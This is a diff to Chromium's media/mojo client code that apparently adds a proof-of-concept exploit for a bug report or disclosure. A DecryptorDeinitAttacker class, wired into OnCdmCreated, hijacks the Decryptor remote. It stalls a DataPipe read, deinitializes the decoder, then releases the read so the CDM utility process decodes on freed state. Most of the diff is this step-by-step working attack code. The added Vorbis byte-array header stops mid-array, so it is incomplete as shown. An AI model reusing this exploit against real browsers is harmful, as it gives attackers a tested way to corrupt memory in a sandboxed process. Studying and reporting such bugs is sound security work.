diff --git a/media/mojo/clients/mojo_cdm_factory.cc b/media/mojo/clients/mojo_cdm_factory.cc index ab7700091105a3..fa1b158152ce15 100644 --- a/media/mojo/clients/mojo_cdm_factory.cc +++ b/media/mojo/clients/mojo_cdm_factory.cc @@ -8,22 +8,169 @@ #include "base/functional/bind.h" #include "base/location.h" +#include "base/logging.h" #include "base/memory/scoped_refptr.h" #include "base/task/single_thread_task_runner.h" +#include "media/base/audio_decoder_config.h" #include "media/base/content_decryption_module.h" #include "media/base/key_systems.h" #include "media/cdm/aes_decryptor.h" #include "media/mojo/clients/mojo_cdm.h" +#include "media/mojo/clients/poc_vorbis_extradata.h" #include "media/mojo/mojom/content_decryption_module.mojom.h" +#include "media/mojo/mojom/decryptor.mojom.h" #include "media/mojo/mojom/interface_factory.mojom.h" +#include "media/mojo/mojom/media_types.mojom.h" #include "mojo/public/cpp/bindings/callback_helpers.h" #include "mojo/public/cpp/bindings/pending_remote.h" #include "mojo/public/cpp/bindings/remote.h" +#include "mojo/public/cpp/system/data_pipe.h" namespace media { namespace { +// ===================================================================== +// POC: Compromised-renderer attack against MojoDecryptorService. +// +// MojoDecryptorService::DeinitializeDecoder() only DCHECK()s that no +// reads are pending (sibling ResetDecoder() correctly Flush()es first). +// In release builds the DCHECK is stripped, so a compromised renderer +// can stall a DecryptAndDecodeAudio() read on the DataPipe, send +// DeinitializeDecoder(), then unblock the pipe — firing +// DecryptAndDecodeSamples() into a deinitialized library CDM. +// +// This class hijacks the pending_remote handed back +// from the CDM utility process and speaks raw mojom::Decryptor to it. +// ===================================================================== +class DecryptorDeinitAttacker { + public: + explicit DecryptorDeinitAttacker( + mojo::PendingRemote remote) { + LOG(ERROR) << "[POC] DecryptorDeinitAttacker starting"; + remote_.Bind(std::move(remote)); + remote_.set_disconnect_handler( + base::BindOnce(&DecryptorDeinitAttacker::OnDisconnect, + weak_factory_.GetWeakPtr())); + + // Create the four DataPipes. We retain the audio producer so we can + // stall and later unblock the service-side MojoDecoderBufferReader. + constexpr uint32_t kCap = 64 * 1024; + mojo::ScopedDataPipeConsumerHandle audio_consumer; + mojo::ScopedDataPipeConsumerHandle video_consumer; + mojo::ScopedDataPipeConsumerHandle decrypt_consumer; + mojo::ScopedDataPipeProducerHandle decrypted_producer; + + MojoCreateDataPipeOptions opts{sizeof(opts), + MOJO_CREATE_DATA_PIPE_FLAG_NONE, 1, kCap}; + CHECK_EQ(MOJO_RESULT_OK, + mojo::CreateDataPipe(&opts, audio_producer_, audio_consumer)); + CHECK_EQ(MOJO_RESULT_OK, + mojo::CreateDataPipe(&opts, video_producer_, video_consumer)); + CHECK_EQ(MOJO_RESULT_OK, + mojo::CreateDataPipe(&opts, decrypt_producer_, decrypt_consumer)); + CHECK_EQ(MOJO_RESULT_OK, mojo::CreateDataPipe(&opts, decrypted_producer, + decrypted_consumer_)); + + // Step 1: Initialize the MojoDecryptorService with our pipes. + remote_->Initialize(std::move(audio_consumer), std::move(video_consumer), + std::move(decrypt_consumer), + std::move(decrypted_producer)); + + // Step 2: Initialize the audio decoder so the library CDM allocates + // FFmpeg state (decoding_loop_, codec_context_). + std::vector extra(std::begin(kPocVorbisExtraData), + std::end(kPocVorbisExtraData)); + AudioDecoderConfig config(AudioCodec::kVorbis, kSampleFormatPlanarF32, + ChannelLayoutConfig::Stereo(), 44100, extra, + EncryptionScheme::kUnencrypted); + LOG(ERROR) << "[POC] InitializeAudioDecoder()"; + remote_->InitializeAudioDecoder( + config, base::BindOnce(&DecryptorDeinitAttacker::OnAudioInit, + weak_factory_.GetWeakPtr())); + } + + private: + static constexpr uint32_t kStallSize = 256; + + void OnAudioInit(bool success) { + LOG(ERROR) << "[POC] InitializeAudioDecoder => success=" << success; + if (!success) { + LOG(ERROR) << "[POC] Audio decoder init failed; aborting attack"; + return; + } + + // Step 3: Send DecryptAndDecodeAudio with a non-zero data_size, but + // do NOT write any bytes to the audio DataPipe. The service-side + // MojoDecoderBufferReader will queue OnAudioRead and arm its + // SimpleWatcher (no timeout). + auto data = mojom::DataDecoderBuffer::New(); + data->timestamp = base::TimeDelta(); + data->duration = base::TimeDelta(); + data->data_size = kStallSize; + data->is_key_frame = false; + auto buffer = mojom::DecoderBuffer::NewData(std::move(data)); + LOG(ERROR) << "[POC] DecryptAndDecodeAudio(data_size=" << kStallSize + << ") with stalled DataPipe"; + remote_->DecryptAndDecodeAudio( + std::move(buffer), + base::BindOnce(&DecryptorDeinitAttacker::OnAudioDecoded, + weak_factory_.GetWeakPtr())); + + // Step 4: Send DeinitializeDecoder while the read is still pending. + // FIFO ordering on the mojom::Decryptor receiver means the service + // processes DecryptAndDecodeAudio (queues read), then this. The + // DCHECK(!HasPendingReads()) is stripped in release, so this + // forwards directly to CdmAdapter::DeinitializeDecoder -> + // cdm_->DeinitializeDecoder() which frees the FFmpeg state. + LOG(ERROR) << "[POC] DeinitializeDecoder(kAudio) with read pending"; + remote_->DeinitializeDecoder(media::Decryptor::kAudio); + + // Step 5: Now write the bytes to unblock the DataPipe. OnPipeReadable + // fires service-side -> CompleteCurrentRead -> OnAudioRead -> + // CdmAdapter::DecryptAndDecodeAudio -> cdm_->DecryptAndDecodeSamples + // on the deinitialized decoder. + // Post it so the two mojo messages above are definitely dispatched + // before the pipe becomes readable. + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, base::BindOnce(&DecryptorDeinitAttacker::UnblockPipe, + weak_factory_.GetWeakPtr())); + } + + void UnblockPipe() { + uint8_t junk[kStallSize] = {}; + size_t written = 0; + MojoResult r = audio_producer_->WriteData( + base::span(junk), MOJO_WRITE_DATA_FLAG_NONE, written); + LOG(ERROR) << "[POC] Wrote " << written + << " bytes to audio DataPipe (result=" << r + << ") -- expect CDM utility-process crash"; + } + + void OnAudioDecoded(media::Decryptor::Status status, + std::vector buffers) { + LOG(ERROR) << "[POC] DecryptAndDecodeAudio reply: status=" << status + << " buffers=" << buffers.size() + << " (CDM survived decode-after-deinit)"; + } + + void OnDisconnect() { + LOG(ERROR) << "[POC] mojom::Decryptor pipe disconnected " + << "(CDM utility process likely crashed)"; + } + + mojo::Remote remote_; + mojo::ScopedDataPipeProducerHandle audio_producer_; + // Held to prevent early pipe-closure on the service side. + mojo::ScopedDataPipeProducerHandle video_producer_; + mojo::ScopedDataPipeProducerHandle decrypt_producer_; + mojo::ScopedDataPipeConsumerHandle decrypted_consumer_; + base::WeakPtrFactory weak_factory_{this}; +}; + +DecryptorDeinitAttacker* g_poc_attacker = nullptr; // Intentionally leaked. +// ===================================================================== + void OnCdmCreated( const CdmConfig& cdm_config, const SessionMessageCB& session_message_cb, @@ -42,6 +189,19 @@ void OnCdmCreated( return; } + // ===== POC HIJACK ==================================================== + // The CDM utility process handed us a pending_remote + // bound directly to its MojoDecryptorService (no browser-side + // validation in between). A compromised renderer would speak raw + // mojom::Decryptor to it instead of wrapping it in MojoDecryptor. + if (cdm_context->decryptor && !g_poc_attacker) { + LOG(ERROR) << "[POC] Hijacking pending_remote from " + << "CdmContext (key_system=" << cdm_config.key_system << ")"; + g_poc_attacker = + new DecryptorDeinitAttacker(std::move(cdm_context->decryptor)); + } + // ===================================================================== + std::move(cdm_created_cb) .Run(base::MakeRefCounted( std::move(remote), std::move(cdm_context), cdm_config, diff --git a/media/mojo/clients/poc_vorbis_extradata.h b/media/mojo/clients/poc_vorbis_extradata.h new file mode 100644 index 00000000000000..3805a921f88be2 --- /dev/null +++ b/media/mojo/clients/poc_vorbis_extradata.h @@ -0,0 +1,302 @@ +// Generated from media/test/data/vorbis-extradata for POC +#ifndef MEDIA_MOJO_CLIENTS_POC_VORBIS_EXTRADATA_H_ +#define MEDIA_MOJO_CLIENTS_POC_VORBIS_EXTRADATA_H_ +#include +namespace media { +inline constexpr uint8_t kPocVorbisExtraData[3515] = { + 0x02, 0x1e, 0x2d, 0x01, 0x76, 0x6f, 0x72, 0x62, 0x69, 0x73, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x44, 0xac, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, + 0xfa, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xb8, 0x01, 0x03, 0x76, 0x6f, + 0x72, 0x62, 0x69, 0x73, 0x1d, 0x00, 0x00, 0x00, 0x58, 0x69, 0x70, 0x68, + 0x2e, 0x4f, 0x72, 0x67, 0x20, 0x6c, 0x69, 0x62, 0x56, 0x6f, 0x72, 0x62, + 0x69, 0x73, 0x20, 0x49, 0x20, 0x32, 0x30, 0x30, 0x37, 0x30, 0x36, 0x32, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x01, 0x05, 0x76, 0x6f, 0x72, 0x62, 0x69, + 0x73, 0x21, 0x42, 0x43, 0x56, 0x01, 0x00, 0x00, 0x01, 0x00, 0x18, 0x63, + 0x54, 0x29, 0x46, 0x99, 0x52, 0xd2, 0x4a, 0x89, 0x19, 0x73, 0x94, 0x31, + 0x46, 0x99, 0x62, 0x92, 0x4a, 0x89, 0xa5, 0x84, 0x16, 0x42, 0x48, 0x9d, + 0x73, 0x14, 0x53, 0xa9, 0x39, 0xd7, 0x9c, 0x6b, 0xac, 0xb9, 0xb5, 0x20, + 0x84, 0x10, 0x1a, 0x53, 0x50, 0x29, 0x05, 0x99, 0x52, 0x8e, 0x52, 0x69, + 0x19, 0x63, 0x90, 0x29, 0x05, 0x99, 0x52, 0x10, 0x4b, 0x49, 0x25, 0x74, + 0x12, 0x3a, 0x27, 0x9d, 0x63, 0x10, 0x5b, 0x49, 0xc1, 0xd6, 0x98, 0x6b, + 0x8b, 0x41, 0xb6, 0x1c, 0x84, 0x0d, 0x9a, 0x52, 0x4c, 0x29, 0xc4, 0x94, + 0x52, 0x8a, 0x42, 0x08, 0x19, 0x53, 0x8c, 0x29, 0xc5, 0x94, 0x52, 0x4a, + 0x42, 0x07, 0x25, 0x74, 0x0e, 0x3a, 0xe6, 0x1c, 0x53, 0x8e, 0x4a, 0x28, + 0x41, 0xb8, 0x9c, 0x73, 0xab, 0xb5, 0x96, 0x96, 0x63, 0x8b, 0xa9, 0x74, + 0x92, 0x4a, 0xe7, 0x24, 0x64, 0x4c, 0x42, 0x48, 0x29, 0x85, 0x92, 0x4a, + 0x07, 0xa5, 0x53, 0x4e, 0x42, 0x48, 0x35, 0x96, 0xd6, 0x52, 0x29, 0x1d, + 0x73, 0x52, 0x52, 0x6a, 0x41, 0xe8, 0x20, 0x84, 0x10, 0x42, 0xb6, 0x20, + 0x84, 0x0d, 0x82, 0xd0, 0x90, 0x55, 0x00, 0x00, 0x01, 0x00, 0xc0, 0x40, + 0x10, 0x1a, 0xb2, 0x0a, 0x00, 0x50, 0x00, 0x00, 0x10, 0x8a, 0xa1, 0x18, + 0x8a, 0x02, 0x84, 0x86, 0xac, 0x02, 0x00, 0x32, 0x00, 0x00, 0x04, 0xa0, + 0x28, 0x8e, 0xe2, 0x28, 0x8e, 0x23, 0x39, 0x92, 0x63, 0x49, 0x16, 0x10, + 0x1a, 0xb2, 0x0a, 0x00, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0xc0, 0x70, + 0x14, 0x49, 0x91, 0x14, 0xc9, 0xb1, 0x24, 0x4b, 0xd2, 0x2c, 0x4b, 0xd3, + 0x44, 0x51, 0x55, 0x7d, 0xd5, 0x36, 0x55, 0x55, 0xf6, 0x75, 0x5d, 0xd7, + 0x75, 0x5d, 0xd7, 0x75, 0x20, 0x34, 0x64, 0x15, 0x00, 0x00, 0x01, 0x00, + 0x40, 0x48, 0xa7, 0x99, 0xa5, 0x1a, 0x20, 0xc2, 0x0c, 0x64, 0x18, 0x08, + 0x0d, 0x59, 0x05, 0x00, 0x20, 0x00, 0x00, 0x00, 0x46, 0x28, 0xc2, 0x10, + 0x03, 0x42, 0x43, 0x56, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x62, 0x28, + 0x39, 0x88, 0x26, 0xb4, 0xe6, 0x7c, 0x73, 0x8e, 0x83, 0x66, 0x39, 0x68, + 0x2a, 0xc5, 0xe6, 0x74, 0x70, 0x22, 0xd5, 0xe6, 0x49, 0x6e, 0x2a, 0xe6, + 0xe6, 0x9c, 0x73, 0xce, 0x39, 0x27, 0x9b, 0x73, 0xc6, 0x38, 0xe7, 0x9c, + 0x73, 0x8a, 0x72, 0x66, 0x31, 0x68, 0x26, 0xb4, 0xe6, 0x9c, 0x73, 0x12, + 0x83, 0x66, 0x29, 0x68, 0x26, 0xb4, 0xe6, 0x9c, 0x73, 0x9e, 0xc4, 0xe6, + 0x41, 0x6b, 0xaa, 0xb4, 0xe6, 0x9c, 0x73, 0xc6, 0x39, 0xa7, 0x83, 0x71, + 0x46, 0x18, 0xe7, 0x9c, 0x73, 0x9a, 0xb4, 0xe6, 0x41, 0x6a, 0x36, 0xd6, + 0xe6, 0x9c, 0x73, 0x16, 0xb4, 0xa6, 0x39, 0x6a, 0x2e, 0xc5, 0xe6, 0x9c, + 0x73, 0x22, 0xe5, 0xe6, 0x49, 0x6d, 0x2e, 0xd5, 0xe6, 0x9c, 0x73, 0xce, + 0x39, 0xe7, 0x9c, 0x73, 0xce, 0x39, 0xe7, 0x9c, 0x73, 0xaa, 0x17, 0xa7, + 0x73, 0x70, 0x4e, 0x38, 0xe7, 0x9c, 0x73, 0xa2, 0xf6, 0xe6, 0x5a, 0x6e, + 0x42, 0x17, 0xe7, 0x9c, 0x73, 0x3e, 0x19, 0xa7, 0x7b, 0x73, 0x42, 0x38, + 0xe7, 0x9c, 0x73, 0xce, 0x39, 0xe7, 0x9c, 0x73, 0xce, 0x39, 0xe7, 0x9c, + 0x73, 0x82, 0xd0, 0x90, 0x55, 0x00, 0x00, 0x10, 0x00, 0x00, 0x41, 0x18, + 0x36, 0x86, 0x71, 0xa7, 0x20, 0x48, 0x9f, 0xa3, 0x81, 0x18, 0x45, 0x88, + 0x69, 0xc8, 0xa4, 0x07, 0xdd, 0xa3, 0xc3, 0x24, 0x68, 0x0c, 0x72, 0x0a, + 0xa9, 0x47, 0xa3, 0xa3, 0x91, 0x52, 0xea, 0x20, 0x94, 0x54, 0xc6, 0x49, + 0x29, 0x9d, 0x20, 0x34, 0x64, 0x15, 0x00, 0x00, 0x08, 0x00, 0x00, 0x21, + 0x84, 0x14, 0x52, 0x48, 0x21, 0x85, 0x14, 0x52, 0x48, 0x21, 0x85, 0x14, + 0x52, 0x88, 0x21, 0x86, 0x18, 0x62, 0xc8, 0x29, 0xa7, 0x9c, 0x82, 0x0a, + 0x2a, 0xa9, 0xa4, 0xa2, 0x8a, 0x32, 0xca, 0x2c, 0xb3, 0xcc, 0x32, 0xcb, + 0x2c, 0xb3, 0xcc, 0x32, 0xeb, 0xb0, 0xb3, 0xce, 0x3a, 0xec, 0x30, 0xc4, + 0x10, 0x43, 0x0c, 0xad, 0xb4, 0x12, 0x4b, 0x4d, 0xb5, 0xd5, 0x58, 0x63, + 0xad, 0xb9, 0xe7, 0x9c, 0x6b, 0x0e, 0xd2, 0x5a, 0x69, 0xad, 0xb5, 0xd6, + 0x4a, 0x29, 0xa5, 0x94, 0x52, 0x4a, 0x29, 0x08, 0x0d, 0x59, 0x05, 0x00, + 0x80, 0x00, 0x00, 0x10, 0x08, 0x19, 0x64, 0x90, 0x41, 0x46, 0x21, 0x85, + 0x14, 0x52, 0x88, 0x21, 0xa6, 0x9c, 0x72, 0xca, 0x29, 0xa8, 0xa0, 0x02, + 0x42, 0x43, 0x56, 0x01, 0x00, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x3c, 0xc9, 0x73, 0x44, 0x47, 0x74, 0x44, 0x47, 0x74, 0x44, 0x47, 0x74, + 0x44, 0x47, 0x74, 0x44, 0xc7, 0x73, 0x3c, 0x47, 0x94, 0x44, 0x49, 0x94, + 0x44, 0x49, 0xb4, 0x4c, 0xcb, 0xd4, 0x4c, 0x4f, 0x15, 0x55, 0xd5, 0x95, + 0x5d, 0x5b, 0xd6, 0x65, 0xdd, 0xf6, 0x6d, 0x61, 0x17, 0x76, 0xdd, 0xf7, + 0x75, 0xdf, 0xf7, 0x75, 0xe3, 0xd7, 0x85, 0x61, 0x59, 0x96, 0x65, 0x59, + 0x96, 0x65, 0x59, 0x96, 0x65, 0x59, 0x96, 0x65, 0x59, 0x96, 0x65, 0x59, + 0x82, 0xd0, 0x90, 0x55, 0x00, 0x00, 0x08, 0x00, 0x00, 0x80, 0x10, 0x42, + 0x08, 0x21, 0x85, 0x14, 0x52, 0x48, 0x21, 0xa5, 0x18, 0x63, 0xcc, 0x31, + 0xe7, 0xa0, 0x93, 0x50, 0x42, 0x20, 0x34, 0x64, 0x15, 0x00, 0x00, 0x08, + 0x00, 0x20, 0x00, 0x00, 0x00, 0xc0, 0x51, 0x1c, 0xc5, 0x71, 0x24, 0x47, + 0x72, 0x24, 0xc9, 0x92, 0x2c, 0x49, 0x93, 0x34, 0x4b, 0xb3, 0x3c, 0xcd, + 0xd3, 0x3c, 0x4d, 0xf4, 0x44, 0x51, 0x14, 0x4d, 0xd3, 0x54, 0x45, 0x57, + 0x74, 0x45, 0xdd, 0xb4, 0x45, 0xd9, 0x94, 0x4d, 0xd7, 0x74, 0x4d, 0xd9, + 0x74, 0x55, 0x59, 0xb5, 0x5d, 0x59, 0xb6, 0x6d, 0xd9, 0xd6, 0x6d, 0x5f, + 0x96, 0x6d, 0xdf, 0xf7, 0x7d, 0xdf, 0xf7, 0x7d, 0xdf, 0xf7, 0x7d, 0xdf, + 0xf7, 0x7d, 0xdf, 0xf7, 0x75, 0x1d, 0x08, 0x0d, 0x59, 0x05, 0x00, 0x48, + 0x00, 0x00, 0xe8, 0x48, 0x8e, 0xa4, 0x48, 0x8a, 0xa4, 0x48, 0x8e, 0xe3, + 0x38, 0x92, 0x24, 0x01, 0xa1, 0x21, 0xab, 0x00, 0x00, 0x19, 0x00, 0x00, + 0x01, 0x00, 0x28, 0x8a, 0xa3, 0x38, 0x8e, 0xe3, 0x48, 0x92, 0x24, 0x49, + 0x96, 0xa4, 0x49, 0x9e, 0xe5, 0x59, 0xa2, 0x66, 0x6a, 0xa6, 0x67, 0x7a, + 0xaa, 0xa8, 0x02, 0xa1, 0x21, 0xab, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x9a, 0xe2, 0x29, 0xa6, 0xe2, 0x29, + 0xa2, 0xe2, 0x39, 0xa2, 0x23, 0x4a, 0xa2, 0x65, 0x5a, 0xa2, 0xa6, 0x6a, + 0xae, 0x28, 0x9b, 0xb2, 0xeb, 0xba, 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, + 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, + 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, 0xae, 0xeb, 0xba, + 0xae, 0xeb, 0xba, 0x2e, 0x10, 0x1a, 0xb2, 0x0a, 0x00, 0x90, 0x00, 0x00, + 0xd0, 0x91, 0x1c, 0xc9, 0x91, 0x1c, 0x49, 0x91, 0x14, 0x49, 0x91, 0x1c, + 0xc9, 0x01, 0x42, 0x43, 0x56, 0x01, 0x00, 0x32, 0x00, 0x00, 0x02, 0x00, + 0x70, 0x0c, 0xc7, 0x90, 0x14, 0xc9, 0xb1, 0x2c, 0x4b, 0xd3, 0x3c, 0xcd, + 0xd3, 0x3c, 0x4d, 0xf4, 0x44, 0x4f, 0xf4, 0x4c, 0x4f, 0x15, 0x5d, 0xd1, + 0x05, 0x42, 0x43, 0x56, 0x01, 0x00, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x30, 0x24, 0xc3, 0x52, 0x2c, 0x47, 0x73, 0x34, 0x49, + 0x94, 0x54, 0x4b, 0xb5, 0x54, 0x4d, 0xb5, 0x54, 0x4b, 0x15, 0x55, 0x4f, + 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, + 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, + 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x35, 0x4d, 0xd3, + 0x34, 0x4d, 0x20, 0x34, 0x64, 0x25, 0x00, 0x10, 0x05, 0x00, 0x40, 0x29, + 0x8b, 0xb1, 0xf6, 0x20, 0x1c, 0x81, 0x1c, 0x83, 0x96, 0x73, 0x68, 0x10, + 0x64, 0xd0, 0x7a, 0x51, 0x15, 0x33, 0xca, 0x51, 0x2d, 0x26, 0x52, 0x08, + 0x31, 0xa9, 0xc1, 0x44, 0x8c, 0x29, 0x26, 0xb1, 0xa7, 0x88, 0x31, 0xe6, + 0xa4, 0xe5, 0x58, 0x31, 0x84, 0x18, 0xb4, 0xd8, 0x3b, 0xa8, 0x14, 0x83, + 0xd2, 0x02, 0xa1, 0x21, 0x2b, 0x04, 0x80, 0xd0, 0x0c, 0x00, 0x83, 0x24, + 0x01, 0x92, 0xa6, 0x01, 0x92, 0xa6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x80, 0xe4, 0x69, 0x80, 0x26, 0x8a, 0x80, 0xe6, 0x89, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x69, 0x1a, 0xa0, 0x89, 0x1e, 0xa0, + 0x89, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xa7, + 0x01, 0x9e, 0x28, 0x02, 0x9e, 0x28, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x80, 0x26, 0x8a, 0x80, 0x68, 0x9a, 0x80, 0x68, 0x9a, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x89, 0x22, 0xe0, 0x99, 0x22, 0x20, + 0x9a, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xe6, + 0x01, 0x9a, 0x28, 0x02, 0x9e, 0x28, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x80, 0x26, 0x8a, 0x80, 0x68, 0x9a, 0x80, 0x28, 0x9a, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x89, 0x22, 0x20, 0x9a, 0x26, 0x20, + 0x9a, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 